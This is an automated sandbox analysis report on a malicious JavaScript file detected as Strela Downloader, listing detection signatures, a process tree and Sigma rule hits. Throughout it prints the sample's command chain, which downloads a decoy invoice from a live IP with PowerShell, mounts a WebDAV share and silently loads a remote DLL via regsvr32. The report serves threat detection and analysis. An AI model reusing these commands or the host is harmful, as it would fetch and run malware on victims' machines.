Edit tour

Windows Analysis Report
2612377921588116147.js

Overview

General Information

Sample name:	2612377921588116147.js
Analysis ID:	1588817
MD5:	d758eafe2702f46aad00e5c1af77949a
SHA1:	4a9f666ca125b7c98f05f8d88e0807d163f58550
SHA256:	0de4afd076d71f14a5dfd99885e0c8dbd96280698be7f082f1d5bac8e048a3b1
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7336 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7392 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7444 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7836 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1568,i,8750985277368039934,4885640579780257371,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7648 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7732 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7908 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7336	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7444, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7444, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7392, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7392, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7392, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7392, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7392, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7444, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7648, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7732, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7908, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7648, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7732, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7392, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2612377921588116147.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2612377921588116147.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1692963689.000001DC11AAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1753841100.0000019CA00D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1753841100.0000019CA0113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ZA
Source: net.exe, 00000006.00000002.1753841100.0000019CA00D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000006.00000002.1753841100.0000019CA0113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/nAT
Source: svchost.exe, 00000008.00000002.2972853513.000002B6B1400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1754872805.000002B6B1618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1754872805.000002B6B1618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1754872805.000002B6B1618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1754872805.000002B6B164D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7336, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2612377921588116147.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

